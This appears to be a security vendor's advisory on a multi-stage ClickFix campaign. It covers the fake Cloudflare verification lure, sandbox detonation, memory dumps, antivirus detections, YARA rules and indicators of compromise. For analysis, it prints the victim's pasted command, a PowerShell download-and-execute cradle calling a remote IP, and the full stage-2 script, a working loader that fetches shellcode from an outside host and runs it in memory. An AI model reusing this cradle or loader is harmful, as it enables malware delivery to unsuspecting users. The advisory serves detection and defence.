Multi-Stage ClickFix Campaign — Full In-Memory Execution
Omegatech LTD (AS202412) operates a sophisticated, multi-stage ClickFix campaign delivering in-memory shellcode to Windows endpoints through social engineering, PowerShell abuse, and reflective code loading.
A victim visiting an attacker-controlled or compromised page is presented with a fake Cloudflare human-verification challenge. The victim is instructed to paste a PowerShell command into Windows Terminal — the ClickFix technique — which silently downloads and executes a three-stage attack chain entirely in memory, leaving no persistent disk artifact.
The final shellcode stage runs inside the PowerShell process, bypassing traditional file-based AV/EDR detection. The real Cloudflare Turnstile widget is purely browser-side JavaScript — it never instructs users to paste commands into a terminal.
Omegatech LTD Profile
| Attribute | Value |
|---|---|
| Name | Omegatech LTD |
| ASN | AS202412 |
| Jurisdiction | Seychelles — Bullet-Proof Hosting (BPH) |
| Infrastructure | 158.94.208.0/24 |
| Motivation | Financial gain — likely credential theft / RAT deployment |
| Sophistication | Advanced — multi-stage, in-memory, polymorphic |
| Known Campaigns | ClickFix v8, EtherHiding (BNB Smart Chain C2), BPH services |
Omegatech LTD operates as a BPH provider under AS202412 out of Seychelles. Infrastructure in the 158.94.208.0/24 range hosts both the stage-2 delivery server (158.94.208.92) and the stage-3 shellcode server (158.94.208.104). Prior SecureLeaf operations have attributed multiple ClickFix and EtherHiding campaigns to this infrastructure cluster.
Sandbox Detonation Environment
| Attribute | Value |
|---|---|
| Username | Maoga |
| Hostname | pc-tj472 |
| Operating System | Windows 10 build 22621.4111 |
| PowerShell | v5.1.22621.4111 (late 2024) |
| Execution Surface | Windows Terminal (wt.exe) |
| Victim IP | 192.168.2.24 (internal / sandbox) |
Kill Chain Diagram
- Fake Cloudflare "Verify you are human" overlay injected
- Instructions: "Press Win+R, paste the command below into Run, click OK"
- Button silently writes malicious PowerShell command to clipboard
- Decoy line:
& ([scriptblock]::Create((irm "https://debloat.raphi.re/")))— legit-looking cover - Fake Cloudflare variables:
cfChallenge,challengeHash(SHA-256 of empty string),confirmChallenge - Payload:
iex(irm 158.94.208.92 -UseBasicParsing)— download-and-exec cradle - User-Agent leaks exact PowerShell build & OS version to C2 for targeting
- Defines C# here-string (class
dIZYizFl— randomized):VirtualAlloc/CreateThread/WaitForSingleObject/GetCurrentProcess Add-Typecompiles it viacsc.exe(in-memory .NET assembly)- Fetches Stage-3 shellcode:
GET /x7GkP2mQ9zL4/my_newest_ll.pngfrom 158.94.208.104 VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)Marshal.Copywrites shellcode bytes into RWX allocationCreateThreadspawns new thread at shellcode entry pointWaitForSingleObject(thread, 30000ms)
- Raw shellcode bytes delivered with
.pngextension (masquerade — not an image) - Loaded into RWX memory inside
powershell.exeprocess space - Executed via
CreateThread— fully in-memory, zero disk PE - Family: UNKNOWN (not captured in sandbox — possible evasion or sandbox network block)
- Likely: RAT / backdoor / Cobalt Strike beacon / Sliver implant
/x7GkP2mQ9zL4/directory (12 random chars) suggests per-campaign path rotation
Clipboard Delivery — Command Analysis
Execution surface confirmed as Windows Terminal (wt.exe) via shell artifact JHYQWG48ACLVJ4LTNB28_temp_12.dr, which also reveals the victim username (Maoga) and hostname (pc-tj472). Default Ctrl+V paste keybinding confirmed via Terminal settings artifact.
// Command pasted (from ConsoleHost_history.txt)
# Line 1 — Decoy (legit debloat project used as cover) & ([scriptblock]::Create((irm "https://debloat.raphi.re/"))) # Line 2 — Actual ClickFix payload $global:cfChallenge="challenge.cloudflare.com" $global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" $global:confirmChallenge=$true iex(irm 158.94.208.92 -UseBasicParsing)
// Command breakdown
| Component | What It Does |
|---|---|
$global:cfChallenge | Pure decoy. Never used. Fake "Cloudflare" challenge host variable — window dressing. |
$global:challengeHash="e3b0c44..." | SHA-256 of an empty string "". Looks cryptographically meaningful. Validates nothing. |
$global:confirmChallenge=$true | Dummy no-op flag. Increases lure believability only. |
irm 158.94.208.92 -UseBasicParsing | Invoke-RestMethod. HTTP GET to C2. -UseBasicParsing bypasses IE engine, disables cert warnings. |
iex(...) | Invoke-Expression — executes the returned string as live PowerShell. The download-and-exec cradle. |
// HTTP request captured in PCAP
GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.4111 Host: 158.94.208.92 Connection: Keep-Alive
The User-Agent leaks the victim's exact PowerShell build and OS version to the C2. This enables server-side targeting — serving different payloads per OS version, or killing the chain for sandbox User-Agents.
Forensic note: ConsoleHost_history.txt (PSReadLine) at %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt records every pasted command. Its presence with these exact strings is a reliable IOC even when no other logging is enabled.
Server-Served PowerShell Loader
Apache/2.4.66 (Debian) at 158.94.208.92 responds at 2026-06-08T20:31:08Z with a 1,604-byte PowerShell script, executed immediately by iex in the victim session.
// Full decoded stage-2 script
$UGiQQFlZ = "http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png" try { $pNqJcXZej = Invoke-WebRequest -Uri $UGiQQFlZ -UseBasicParsing -ErrorAction Stop $iNqccoGcJHGU = $pNqJcXZej.Content $lIFnrGdJPyXrlqg = $iNqccoGcJHGU.Length $YwzNPctdNfuIuwh = @" using System; using System.Runtime.InteropServices; public class dIZYizFl { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint WaitForSingleObject(IntPtr h, uint ms); } "@ Add-Type -TypeDefinition $YwzNPctdNfuIuwh $gPsZOQX = 0x1000 # MEM_COMMIT $lUrLsWZS = 0x2000 # MEM_RESERVE $nmTdojJq = 0x40 # PAGE_EXECUTE_READWRITE $eWhuhaSjHwRtnjIsjX = [dIZYizFl]::VirtualAlloc( [IntPtr]::Zero, $lIFnrGdJPyXrlqg, $gPsZOQX -bor $lUrLsWZS, $nmTdojJq) if ($eWhuhaSjHwRtnjIsjX -eq [IntPtr]::Zero) { throw "Alloc failed" } [System.Runtime.InteropServices.Marshal]::Copy( $iNqccoGcJHGU, 0, $eWhuhaSjHwRtnjIsjX, $lIFnrGdJPyXrlqg) $yuUuVIPZMRPlFzb = 0 $PeGXxCfcT = [dIZYizFl]::CreateThread( [IntPtr]::Zero, 0, $eWhuhaSjHwRtnjIsjX, [IntPtr]::Zero, 0, [ref]$yuUuVIPZMRPlFzb) if ($PeGXxCfcT -eq [IntPtr]::Zero) { throw "Thread failed" } [dIZYizFl]::WaitForSingleObject($PeGXxCfcT, 30000) | Out-Null Write-Host "done." } catch { exit 1 }
// Step-by-step execution breakdown
Variable $UGiQQFlZ (randomized name per run) is assigned the shellcode URL: http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png. The .png extension is camouflage — the file content is raw shellcode bytes, not an image.
The here-string contains C# source defining class dIZYizFl (randomized per run) with P/Invoke declarations for four kernel32.dll exports: GetCurrentProcess, VirtualAlloc, CreateThread, WaitForSingleObject.
Add-Type -TypeDefinition passes the source to csc.exe, compiling a .NET assembly loaded directly into the PowerShell process. Compilation confirmed by two sandbox artifacts: CSC6F520FB2C5134487A894753C8A2B6BB_TMP_23.dr and RES24C_tmp_24.dr (COFF timestamp: 2026-06-08 20:31:09 UTC).
| Step | API Call | Effect |
|---|---|---|
| 2c | Invoke-WebRequest (GET .png) | Fetches raw shellcode bytes from 158.94.208.104 into $iNqccoGcJHGU |
| 2d | VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) | Allocates RWX memory region inside powershell.exe |
| 2e | Marshal.Copy(shellcode_bytes, 0, ptr, len) | Writes raw shellcode bytes into the RWX allocation |
| 2f | CreateThread(NULL, 0, shellcode_addr, NULL, 0, &tid) | Spawns thread at shellcode entry point — attack complete |
Final Shellcode — Unknown Family
URL: http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png
The final payload was not captured in the sandbox (stage-3 connection to 158.94.208.104 not observed in PCAP — possible sandbox network block or deliberate environment fingerprinting evasion).
Based on campaign context and the 30-second WaitForSingleObject timeout, the implant is likely one of:
- → A stager connecting back to a third C2 for a full RAT/backdoor
- → Cobalt Strike beacon, Sliver implant, or custom Omegatech backdoor
- → Credential harvester or keylogger
The /x7GkP2mQ9zL4/ directory component (12 random characters) suggests per-campaign or per-victim path rotation, making static URL blocking insufficient as a standalone defense.
SL-MEM-2026-v8 — Sandbox Crash Dump Findings
Following an intentional sandbox crash of the v8 payload, 16 memory region dumps were recovered across 5 processes. Static analysis (strings, entropy, magic bytes, IOC extraction) was performed — no execution of dump contents. Source: SL-MEM-2026-v8, analyst: SecureLeaf/Dispensight, 2026-06-09.
// Process map — 5 PIDs, 16 regions
| PID | Threads | Magic | Size | Entropy | Assessed Role |
|---|---|---|---|---|---|
820 |
1610–1614 ×5 identical | MZER 4D5A4552 |
315,392 ×5 | 5.68–5.73 | Custom loader — watchdog pattern, same VA range across all 5 threads |
820 |
1618 | MZ |
196,608 | 5.32 | Loaded DLL (standard PE — injected dependency) |
820 |
1619 | MZ |
65,536 | 5.61 | Small loaded module |
4448 |
1556 | MZ + RSA blob |
139,264 | 4.85 | .NET assembly — RSA public key blob (payload signing / C2 auth) |
4448 |
1563 | MZ |
286,720 | 5.58 | PSReadLine — PowerShell host confirmed in main malware process |
4448 |
1593 | MZ |
1,843,200 | 5.90 | ASP.NET/WCF assembly — TDS server-side code or downloaded .NET DLL |
4448 |
1607 | MZ |
32,768 | 0.41 | Near-empty / zeroed — qb4p11bz.dll stub, caught mid-staging |
4448 |
1608 | E8 C0 6D 00 CALL |
57,344 | 7.24 | Raw encrypted shellcode — no PE header — PIC CALL entry at offset 0 — primary payload blob |
4448 |
1609 | 0x00 (nulls) | 49,152 | 2.75 | Zeroed staging region — contains 158.94.208.104 + powershell string residue |
992 |
1615 | <!DOCTYPE HTML |
4,096 | 0.71 | Cached HTTP 404 response from 158.94.208.104 — live C2 contact confirmed |
5148 |
1605 | MZ |
11,280,384 | 6.31 | .NET CLR / mscorlib — main managed runtime host. Named pipes: CPFATP_ / Sessions |
5252 |
1582 | MZ |
5,386,240 | 6.49 | WinUI/XAML runtime — possible lure application frame |
// In-memory process architecture
[PID 992] — HTTP client thread └─ contacted 158.94.208.104:80 → cached HTTP 404 response (Apache/2.4.52 Ubuntu) ↓ [PID 4448] — Main malware process ├─ Thread 1563: PSReadLine / PowerShell host (Stage-2 delivery surface) ├─ Thread 1556: .NET assembly loading (RSA key blob — signed payload verification) ├─ Thread 1593: ASP.NET/WCF large assembly (TDS code or downloaded .NET DLL, 1.8MB) ├─ Thread 1607: qb4p11bz.dll stub (entropy 0.41 — caught mid-staging) ├─ Thread 1608: ENCRYPTED SHELLCODE BLOB (entropy 7.24 — primary payload) └─ Thread 1609: Zeroed staging region (IP 158.94.208.104 + powershell residue) ↓ [PID 820] — Loader / injector process ├─ Threads 1610–1614: MZER region ×5 — WATCHDOG PATTERN │ VA range 0x1B7073B0000–3FD000, 315,392 bytes, same across all 5 threads │ Entropy variance 5.6818→5.7252 (per-thread mutable state — key or counter) │ Artifacts: size95.exe (UTF-16LE wide), MyApplication.app, mscoree.dll └─ Thread 1618: Standard PE (injected DLL / loaded dependency) ↓ [PID 5148] — .NET CLR host └─ Named pipes: \\.\pipe\CPFATP_ · \\.\pipe\Sessions (CLR profiler abuse or inter-process C2 channel) ↓ [PID 5252] — WinUI/XAML process (lure application shell)
// Notable observations
The magic bytes 4D 5A 45 52 (MZER) are immediately followed by the x64 sequence E8 00 00 00 00 59 48 83 E9 09 48 8B: a CALL +5 / POP RCX / SUB RCX, 9 delta chain — the standard technique for establishing RIP-relative (position-independent) addressing in x64 shellcode. This is not a valid Microsoft DOS stub; it is a custom bootstrapper wrapping the actual payload. The MZER tag may be a deliberate loader signature by the threat actor.
The identical MZER region (same VA range 0x1B7073B0000, same file size 315,392 bytes) mapped across threads 1610, 1611, 1612, 1613, and 1614 of PID 820 is a strong indicator of a watchdog / self-healing mechanism. If one thread is killed, others maintain the loader in memory. The slight entropy variance between threads (5.6818 → 5.7252) suggests a small mutable section per thread — likely a per-thread decryption key, execution counter, or seed value embedded in the otherwise identical region.
57,344 bytes of near-random data starting with E8 C0 6D 00 00 (CALL +0x6DC0) — no PE header, entropy 7.24/8.0. The CALL at offset 0 is the canonical PIC shellcode self-location pattern; offset 0x6DC5 within the blob is the likely decryptor entry point. The near-uniform byte distribution indicates XOR or RC4 encryption of the actual Stage-3 payload. This is the blob that crashed the sandbox.
Found in PID 4448 thread 1607 (entropy 0.41 — near-empty region). Eight lowercase alphanumeric characters followed by .dll is a well-established malware temp-drop naming convention. The near-zero entropy indicates the region was allocated and the DLL reference established, but the memory was largely still zeroed — caught mid-staging. Pattern to hunt: [a-z0-9]{8}\.dll loaded from %TEMP% or %APPDATA%.
BGP trace on 158.94.208.104: prefix 158.94.208.0/24, origin AS202412 (Omegatech LTD), 1 hop to RIS collectors. Same ASN as all prior ClickFix/EtherHiding infrastructure documented in this advisory. The C2 staging server for the v8 payload is unambiguously on the same BPH provider — this is toolchain continuity, not coincidence.
// New IOCs from memdump analysis
Network
| Type | Value | Source | Confidence | Notes |
|---|---|---|---|---|
| IPv4 | 158.94.208.104 |
992-1615, 4448-1609 |
HIGH | C2 staging server — Apache/2.4.52 Ubuntu port 80. PID 992 cached a live HTTP 404 response; PID 4448 staging region contained IP + powershell string residue. BGP: AS202412 Omegatech LTD (1 hop). |
| Server banner | Apache/2.4.52 (Ubuntu) Server at 158.94.208.104 Port 80 |
992-1615 |
HIGH | Exact banner for Shodan/Censys fingerprinting and pivot. |
Files & Executables
| Type | Value | Source | Confidence | Notes |
|---|---|---|---|---|
| Dropper EXE | size95.exe |
All PID 820 MZER dumps | HIGH | UTF-16LE wide string baked into all 5 MZER watchdog thread regions. Assessed as dropper filename. |
| Temp DLL | qb4p11bz.dll / [a-z0-9]{8}\.dll pattern |
4448-1607 |
MEDIUM | Randomized 8-char temp-drop DLL — reflective loader staging artifact. Entropy 0.41 — caught mid-load. |
| Loader magic | 4D 5A 45 52 (MZER) @ offset 0 |
PID 820 threads 1610–1614 | HIGH | Non-standard PE stub — custom PIC bootstrapper. Not a valid DOS MZ header. |
| Shellcode stub | E8 C0 6D 00 00 C0 6D 00 @ offset 0 |
4448-1608 |
HIGH | PIC CALL-based shellcode entry. No PE wrapper. Entropy 7.24/8.0 — XOR/RC4 encrypted. CALL target +0x6DC0 = likely decryptor. |
Behavioral / In-Memory
| Type | Value | Source | Confidence | Notes |
|---|---|---|---|---|
| Named pipe | \\.\pipe\CPFATP_ |
5148-1605 |
MEDIUM | CLR profiler abuse pattern or IPC C2 channel. Monitor for CPFATP_* wildcard. |
| Named pipe | \\.\pipe\Sessions |
5148-1605 |
MEDIUM | Session hijack or inter-process comms channel. |
| Mutex / Global | Global\CPFATE_ |
5148-1605 |
MEDIUM | CLR profiler mutex — present alongside the named pipe. Possible infection marker. |
| String artifact | MyApplication.app |
All PID 820 dumps | MEDIUM | .NET application manifest — dropper compiled as generic "MyApplication". Indicates a freshly-compiled or template-built .NET binary. |
| String artifact | score8794.produc (truncated) |
820-1610 |
LOW | Possible malware project name artifact or obfuscated domain fragment. Requires further analysis. |
| Import | WINHTTP.dll |
4448-1609 |
HIGH | WinHTTP-based C2 beacon (not WinINet) — co-located with C2 IP and powershell string in the same staging region. |
Cryptographic Material — Pending Analysis
| Type | Value | Notes |
|---|---|---|
| SHA1-length hex | 91A9773E7A0BA4700195CBFFFF935A24C674C3E0 | 40-char hex blob from MZER dumps. May be: payload stage hash, C2 auth token, or XOR key material. |
| Hash chain | B025011E705D8869AE4F29F083465799465EE53648465ECA3E706AC49D7DA7DB | 64-char hex blob (SHA-256 length) from MZER quintet — present in all 5 watchdog thread dumps. |
| RSA key blob | 002400000480000094000000060200000024000052534131… | 512-bit RSA strong-name public key from PID 4448 — payload signing or C2 authentication key. |
// YARA rules — memdump-derived (SL-YARA-2026-v8-001 through 004)
Four additional rules derived from memdump static analysis. Complement the three lure/loader rules in the YARA section below.
rule SL_ClickFix_v8_MZER_Loader { meta: description = "ClickFix v8 — MZER custom loader stub with x64 PIC bootstrapper" author = "SecureLeaf / Dispensight" reference = "SL-MEM-2026-v8" date = "2026-06-09" tlp = "AMBER" strings: // MZER magic + PIC CALL/POP/SUB chain (highest confidence — exact match) $mzer_pic_full = { 4D 5A 45 52 E8 00 00 00 00 59 48 83 E9 09 48 8B } // MZER magic only $mzer_magic = { 4D 5A 45 52 } // PIC CALL/POP/SUB bootstrapper (may appear offset from start in injected regions) $pic_stub = { E8 00 00 00 00 59 48 83 E9 ?? 48 8B } // "size95.exe" UTF-16LE wide string $size95_wide = { 73 00 69 00 7A 00 65 00 39 00 35 00 2E 00 65 00 78 00 65 00 } $myapp_wide = "MyApplication.app" wide condition: ($mzer_pic_full at 0) or ($mzer_magic at 0 and $pic_stub) or ($mzer_magic at 0 and $size95_wide) or ($mzer_magic at 0 and $myapp_wide and $pic_stub) }
import "math" rule SL_ClickFix_v8_Shellcode_Blob { meta: description = "ClickFix v8 — Encrypted PIC shellcode blob, CALL-based entry, entropy 7.24" author = "SecureLeaf / Dispensight" reference = "SL-MEM-2026-v8" date = "2026-06-09" tlp = "AMBER" note = "CALL target +0x6DC0 = decryptor entry. Likely XOR or RC4 key at that offset." strings: // Exact 8-byte header from PID 4448 region 1608 $sc_sig = { E8 C0 6D 00 00 C0 6D 00 } // Generic PIC CALL at offset 0 $call_entry = { E8 ?? ?? 00 00 } condition: ($sc_sig at 0) or ( not uint16(0) == 0x5A4D // not MZ and $call_entry at 0 and filesize >= 40KB and filesize <= 512KB and math.entropy(0, filesize) >= 6.8 ) }
rule SL_ClickFix_v8_TempDrop_DLL { meta: description = "ClickFix v8 — 8-char randomized temp DLL staging artifact (qb4p11bz.dll pattern)" author = "SecureLeaf / Dispensight" reference = "SL-MEM-2026-v8" date = "2026-06-09" tlp = "AMBER" strings: $exact_ascii = "qb4p11bz.dll" ascii $exact_wide = "qb4p11bz.dll" wide $rnd_dll_wide = /[a-z0-9]{8}\.dll/ wide $kernel32_w = "KERNEL32.dll" wide $mscoree_w = "mscoree.dll" wide condition: $exact_ascii or $exact_wide or ( $rnd_dll_wide and $kernel32_w and $mscoree_w and math.entropy(0, filesize) < 2.0 ) }
rule SL_ClickFix_v8_C2_Beacon_Region { meta: description = "ClickFix v8 — C2 IP 158.94.208.104 + WINHTTP/PS beacon in memory region" author = "SecureLeaf / Dispensight" reference = "SL-MEM-2026-v8" date = "2026-06-09" tlp = "AMBER" ioc_ip = "158.94.208.104" strings: $c2_ip = "158.94.208.104" ascii wide $apache_banner = "Apache/2.4.52 (Ubuntu) Server at 158.94.208.104" ascii $winhttp = "WINHTTP.dll" ascii wide $advapi = "ADVAPI32.dll" ascii wide $ps_str = "powershell" ascii nocase condition: $c2_ip and ($apache_banner or ($winhttp and $advapi) or $ps_str) }
Artifact Summary
| Artifact | What It Proves |
|---|---|
ConsoleHost_history_txt_14.dr |
Exact commands pasted — ClickFix lure confirmed |
flferzre_0_cs_14.dr |
C# P/Invoke loader source used in stage-2 |
RES24C_tmp_24.drCOFF timestamp 20:31:09 |
Add-Type / csc.exe compiled the loader. Detonation time anchor. |
CSC6F520FB2C5134487A894753C8A2B6BB_TMP_23.dr |
csc.exe .res output. Confirms compilation ran. |
ModuleAnalysisCache_14.drPSMODULECACHE, 44 modules |
PowerShell executed and performed full module-discovery pass |
JHYQWG48ACLVJ4LTNB28_temp_12.dr |
Windows Terminal (wt.exe) executed. Reveals victim: Maoga / pc-tj472 |
settings_json_tmp_12.dr |
Windows Terminal default config — confirms execution environment |
PCAP dumpslim-1924708.pcap |
HTTP GET to 158.94.208.92, stage-2 response body (1,604 bytes) |
Real-Time File System Protection — 7 Detections
ESET real-time file system protection intercepted 7 malicious files written by chrome.exe to the victim's Downloads folder across a 17-second window (12:35:25–12:35:42). All files were cleaned by deletion before execution. The detections span three malware families, directly corroborating the kill chain stages and memdump process architecture.
// Raw ESET HIPS log — all 7 events
| File Modified | Detected | Lag | ESET Family | File / Path | SHA1 | Action |
|---|---|---|---|---|---|---|
12:35:25 |
12:36:11 |
46s | Win64/Injector.AIY |
Unconfirmed 145271.crdownload |
B78420563A67E7D782AAEB3AB522D1275723281B | Deleted |
12:35:27 |
12:36:11 |
44s | Win64/Injector.AIY |
Unconfirmed 65372.crdownload |
802DA05C38565978F1013F57CEF9538D8EDDE271 | Deleted |
12:35:29 |
12:36:17 |
48s | MSIL/Agent.FVB |
Unconfirmed 876583.crdownload |
DC78DAA1B358B8A57EF8BED7B3430014E6322BC5 | Deleted |
12:35:32 |
12:36:22 |
50s | Win64/Injector.AIY |
Unconfirmed 474565.crdownload |
CA75B39F8C16CA47EF26F9692C846789E0E4064E | Deleted |
12:35:34 |
12:36:53 |
79s | Win64/Injector.AIY |
Unconfirmed 991856.crdownload |
CCDE849BFE870893591A1D0FFB093ECC556B7853 | Deleted |
12:35:35 |
12:36:53 |
78s | Win64/Injector.AIY |
Unconfirmed 303208.crdownload |
B7F0E587BF600B0FC3E9C2FB5A04BDD83A564EBF | Deleted |
12:35:42 |
12:36:53 |
71s | PowerShell/Rozena.BI ★ |
6dea2571-0b35-4d1d-8ca4-5f2db1a50350.tmpChrome UUID temp — no filename hint → Stage-2 PS loader mid-write |
D284BAA8C2544F11198A2A7E875EBE15E90A3799 | Deleted |
★ Rozena.BI row highlighted — linchpin detection tying AV telemetry to PCAP and memdump. All events triggered by chrome.exe SHA1 DC03E6394743FE3983B5573B589951041B225DE6 (verified clean — untampered Chrome binary).
// ESET family → kill chain stage mapping
| ESET Family | Count | Kill Chain Stage | Memdump Correlation | Assessment |
|---|---|---|---|---|
Win64/Injector.AIY |
5 | Stage-2 / Stage-3 loader | PID 820 MZER watchdog ×5 threads; PID 4448 shellcode region | ESET generic for a PE injector writing into foreign process memory. The 5 hits directly mirror the 5 MZER watchdog thread regions — likely the same binary downloaded repeatedly (retry logic or per-thread drop). Consistent with the VirtualAlloc + CreateThread reflective loading pattern. |
MSIL/Agent.FVB |
1 | Stage-2 .NET dropper component | PID 4448 thread 1593 (1.8MB ASP.NET/WCF assembly); PID 4448 thread 1556 (RSA key blob / .NET assembly) | ESET generic for a managed (.NET / MSIL) downloader-dropper agent. Maps to the large .NET DLL in memory — either the TDS-side WCF assembly downloaded as a payload component, or the Add-Type-compiled C# P/Invoke class (caught as it was written to disk by csc.exe). |
PowerShell/Rozena.BI |
1 | Stage-2 PS loader — CONFIRMED | PID 4448 thread 1563 (PSReadLine host); PID 4448 thread 1608 (encrypted shellcode blob — payload Rozena fetched) | Rozena is a named, well-documented PowerShell shellcode cradle family. Its defining trait is exactly the pattern seen in the PCAP-extracted loader: VirtualAlloc + Marshal.Copy + CreateThread to execute raw shellcode in-process. The UUID .tmp filename confirms Chrome downloaded this as a content-type response with no filename — consistent with iex(irm 158.94.208.92) writing the PS script transiently. ESET independently confirmed the Stage-2 family — cross-validates PCAP extraction and memdump PSReadLine evidence. |
// Download window analysis
All 7 files were written by a single chrome.exe process in a 17-second burst (12:35:25–12:35:42), with an average inter-file gap of 2.8 seconds. This is not normal browsing behaviour — it is a scripted, sequential payload delivery chain operating inside or alongside the browser session initiated by the ClickFix lure page.
| Observation | Significance |
|---|---|
6 of 7 files caught as .crdownload |
ESET scanned in-progress Chrome downloads in real-time — payloads were intercepted before completion. AV would not have caught fully-written files if Chrome had been faster or ESET slower. |
1 file as UUID .tmp (Rozena.BI) |
Chrome assigns a UUID temp path when the server response has no Content-Disposition: filename header — consistent with irm 158.94.208.92 returning a bare PS script with no filename. This is the Stage-2 loader. |
| Rozena.BI file modified last (12:35:42) | Stage-2 PS loader was fetched after all 6 injector/dropper blobs — consistent with the kill chain sequence: injector components staged first, PS cradle fetched to execute them. |
| 5× Injector.AIY, mirroring 5× MZER watchdog threads | Strongly suggests the payload server pushed the MZER loader binary 5 times — either as a retry/redundancy mechanism or one per intended watchdog thread injection. |
| Detection lag 44–79 seconds | ESET's real-time scan triggered 44–79s after file write — during this window the payload could have executed on a system with slower or absent AV. Reinforces the need for pre-execution controls (CLM, ASR, egress filtering). |
Single chrome.exe SHA1 across all 7 events |
DC03E6394743FE3983B5573B589951041B225DE6 — verified as the legitimate Chrome binary (not tampered). All payloads originated from browser-initiated HTTP/HTTPS requests, confirming the web-delivery vector. |
// SHA1 hashes — ESET-confirmed malicious (VT pivot targets)
| SHA1 | ESET Family | Filename | Stage |
|---|---|---|---|
| D284BAA8C2544F11198A2A7E875EBE15E90A3799 | PowerShell/Rozena.BI | 6dea2571…tmp | Stage-2 PS loader ★ |
| 802DA05C38565978F1013F57CEF9538D8EDDE271 | Win64/Injector.AIY | Unconfirmed 65372.crdownload | MZER loader / injector |
| B78420563A67E7D782AAEB3AB522D1275723281B | Win64/Injector.AIY | Unconfirmed 145271.crdownload | MZER loader / injector |
| DC78DAA1B358B8A57EF8BED7B3430014E6322BC5 | MSIL/Agent.FVB | Unconfirmed 876583.crdownload | .NET dropper component |
| CA75B39F8C16CA47EF26F9692C846789E0E4064E | Win64/Injector.AIY | Unconfirmed 474565.crdownload | MZER loader / injector |
| CCDE849BFE870893591A1D0FFB093ECC556B7853 | Win64/Injector.AIY | Unconfirmed 991856.crdownload | MZER loader / injector |
| B7F0E587BF600B0FC3E9C2FB5A04BDD83A564EBF | Win64/Injector.AIY | Unconfirmed 303208.crdownload | MZER loader / injector |
| DC03E6394743FE3983B5573B589951041B225DE6 | CLEAN | chrome.exe | Delivery vehicle — legitimate Chrome binary, not tampered |
IOCs
// Network
| Type | Value | Confidence | Notes |
|---|---|---|---|
| IPv4 | 158.94.208.92 | HIGH | Primary C2, stage-2 loader delivery |
| IPv4 | 158.94.208.104 | HIGH | Secondary C2, stage-3 shellcode host |
| CIDR | 158.94.208.0/24 | MEDIUM | Omegatech infrastructure range |
| URL | http://158.94.208.92/ | HIGH | Stage-2 delivery endpoint |
| URL | http://158.94.208.104/x7GkP2mQ9zL4/my_newest_ll.png | HIGH | Stage-3 shellcode — .png camouflage |
| URL | https://debloat.raphi.re/ | LOW | Decoy / cover — legit project, abused as social camouflage |
| Domain | challenge.cloudflare.com | HIGH | Embedded in lure as decoy string — not contacted by payload |
| ↓ memdump analysis — SL-MEM-2026-v8 | |||
| IPv4 | 158.94.208.104 |
HIGH | C2 staging server — Apache/2.4.52 Ubuntu port 80. HTTP 404 response cached in PID 992 memory; IP + powershell string residue in PID 4448 staging region. BGP: AS202412 Omegatech LTD, prefix 158.94.208.0/24, 1-hop origin. |
| Server banner | Apache/2.4.52 (Ubuntu) Server at 158.94.208.104 Port 80 |
HIGH | Exact response banner cached in PID 992 — use for Shodan/Censys pivot and infrastructure fingerprinting. |
// Files
| File | SHA-256 | Size |
|---|---|---|
ConsoleHost_history.txt |
be8bc69d144180646f32e15dc876527ac1733006b3f7a38322c90d628af33382 | 270 B |
flferzre_0.csC# loader source |
4b5665650908836fd9125ec3507ffd53d86782d84be2809f38483935bc50ffed | 598 B |
stage2_clickfix_loader.ps1PCAP extracted |
a511f3e12b92602cf077fdaa0ea59cf16208c4b3fd78c42c01c11c19bd98adb9 | 1,605 B |
RES24C_tmpCOFF, csc.exe artifact |
184951694be1f0333c95d78dfa286f39c4ac7e613da9efb312b970dd7c662438 | 1,336 B |
PSModuleAnalysisCache |
695e4fdeb57c87c08b53a41d7974bb6a002ecc02e138f29ee08a5caf2e7e4b05 | 28,524 B |
| ↓ memdump analysis — SL-MEM-2026-v8 | ||
size95.exedropper filename artifact |
PENDING — UTF-16LE wide string in MZER dumps, full sample not yet recovered | unknown |
qb4p11bz.dlltemp-drop DLL pattern [a-z0-9]{8}.dll |
PENDING — region caught near-empty (entropy 0.41), DLL not fully mapped | unknown |
| ↓ ESET HIPS telemetry — SHA1 confirmed malicious — 2026-06-09 12:35–12:36 | ||
6dea2571-0b35-4d1d-8ca4-5f2db1a50350.tmpPowerShell/Rozena.BI ★ Stage-2 confirmed |
D284BAA8C2544F11198A2A7E875EBE15E90A3799 | ~1,604 B |
Unconfirmed *.crdownload ×5Win64/Injector.AIY — MZER loader / injector |
802DA05C38565978F1013F57CEF9538D8EDDE271 B78420563A67E7D782AAEB3AB522D1275723281B CA75B39F8C16CA47EF26F9692C846789E0E4064E CCDE849BFE870893591A1D0FFB093ECC556B7853 B7F0E587BF600B0FC3E9C2FB5A04BDD83A564EBF |
unknown (partial .crdownload) |
Unconfirmed 876583.crdownloadMSIL/Agent.FVB — .NET dropper component |
DC78DAA1B358B8A57EF8BED7B3430014E6322BC5 | unknown (partial .crdownload) |
// Behavioral Strings
| String | Context |
|---|---|
cfChallenge | PS variable name — reliable lure IOC |
confirmChallenge | PS variable name — reliable lure IOC |
challengeHash | PS variable name — reliable lure IOC |
e3b0c44298fc1c149afb... | SHA-256("") used as fake integrity hash |
dIZYizFl (varies) | Randomized C# class name — pattern-match via YARA |
flferzre (varies) | Randomized .cs temp file prefix — monitor csc drops |
my_newest_ll.png | Shellcode URL filename — possible static indicator (may rotate) |
x7GkP2mQ9zL4 | Stage-3 directory path — likely rotates per campaign |
| ↓ memdump analysis — SL-MEM-2026-v8 | |
4D 5A 45 52 (MZER) at offset 0 | Custom loader magic bytes — not a valid DOS stub. Non-standard PE. |
